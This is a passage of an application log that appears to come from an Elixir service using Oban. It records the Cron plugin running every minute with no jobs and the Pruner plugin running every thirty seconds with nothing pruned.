{"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:57:21.583 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:51.584 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:00.627 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:58:21.585 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:51.586 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:00.628 [info] {"source":"oban","duration":112,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:59:21.588 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:51.589 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:00.629 [info] {"source":"oban","duration":118,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:00:21.590 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:51.591 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:00.630 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:01:21.592 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:51.593 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:00.631 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:02:21.595 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:51.597 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:00.632 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:03:21.599 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:51.600 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:00.633 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:04:21.601 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:51.602 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.634 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:05:21.603 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:51.604 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.635 [info] {"source":"oban","duration":283,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:06:21.605 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:51.606 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.636 [info] {"source":"oban","duration":276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:07:21.607 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:51.609 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.637 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:08:21.610 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:51.611 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.638 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:09:21.612 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:51.613 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:00.639 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:10:21.614 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:51.615 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.640 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:11:21.616 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:51.617 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.641 [info] {"source":"oban","duration":279,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:12:21.618 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:51.620 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.642 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:13:21.621 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:51.622 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.643 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:14:21.623 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:51.624 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.644 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:15:21.625 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:51.627 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.645 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:16:21.628 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:51.629 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.646 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:17:21.630 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:51.631 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.647 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:18:21.633 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:51.635 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.648 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:19:21.636 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:51.637 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.649 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:20:21.639 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:51.641 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.650 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:21:21.642 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:51.643 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.652 [info] {"source":"oban","duration":419,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:22:21.644 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:51.645 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.652 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:23:21.646 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:51.647 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:00.653 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:24:21.648 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:51.649 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.654 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:25:21.650 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:51.651 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.655 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:26:21.652 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:51.653 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.656 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:27:21.655 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:51.657 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:00.657 [info] {"source":"oban","duration":277,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:28:21.658 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:51.659 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:00.658 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:29:21.660 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:51.661 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.660 [info] {"source":"oban","duration":437,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:30:21.663 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:51.664 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.660 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:31:21.666 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:51.667 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.661 [info] {"source":"oban","duration":286,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:32:21.668 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:51.670 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.662 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:33:21.671 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:51.672 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:00.663 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:34:21.674 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:51.675 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:00.664 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:35:21.676 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:51.678 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:00.665 [info] {"source":"oban","duration":370,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:36:21.680 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:51.682 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.666 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:37:21.683 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:51.684 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.667 [info] {"source":"oban","duration":310,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:38:21.685 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:51.687 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.668 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:39:21.689 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:51.691 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.669 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:40:21.693 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:51.695 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.670 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:41:21.696 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:51.697 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.671 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:42:21.698 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:51.699 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.672 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:43:21.700 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:51.702 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.674 [info] {"source":"oban","duration":324,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:44:21.704 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:51.705 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.674 [info] {"source":"oban","duration":274,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:45:21.706 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:51.707 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:00.675 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:46:21.708 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:51.709 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.676 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:47:21.710 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:51.711 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.677 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:48:21.712 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:51.713 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.678 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:49:21.714 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:51.715 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.679 [info] {"source":"oban","duration":321,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:50:21.716 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:51.717 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.680 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:51:21.719 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:51.721 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.681 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:52:21.723 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:51.724 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.682 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:53:21.725 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:51.726 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.683 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:54:21.727 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:51.728 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.684 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:55:21.729 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:51.730 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.685 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:56:21.731 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:51.732 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.686 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:57:21.733 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:51.734 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.687 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:58:21.735 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:51.736 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.688 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:59:21.737 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:51.739 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.689 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:00:21.740 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:51.741 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:00.690 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:01:21.742 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:51.743 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.691 [info] {"source":"oban","duration":279,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:02:21.744 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:51.745 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.692 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:03:21.746 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:51.747 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:00.694 [info] {"source":"oban","duration":281,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:04:21.749 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:51.750 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.694 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:05:21.751 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:51.752 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.696 [info] {"source":"oban","duration":382,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:06:21.753 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:51.754 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.696 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:07:21.755 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:51.757 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.697 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:08:21.758 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:51.759 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.698 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:09:21.760 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:51.761 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.699 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:10:21.762 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:51.763 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.700 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:11:21.764 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:51.766 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.701 [info] {"source":"oban","duration":135,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:12:21.768 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:51.769 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.702 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:13:21.770 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:51.771 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.703 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:14:21.772 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:51.773 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.704 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:15:21.774 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:51.775 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.705 [info] {"source":"oban","duration":270,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:16:21.777 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:51.778 [info] 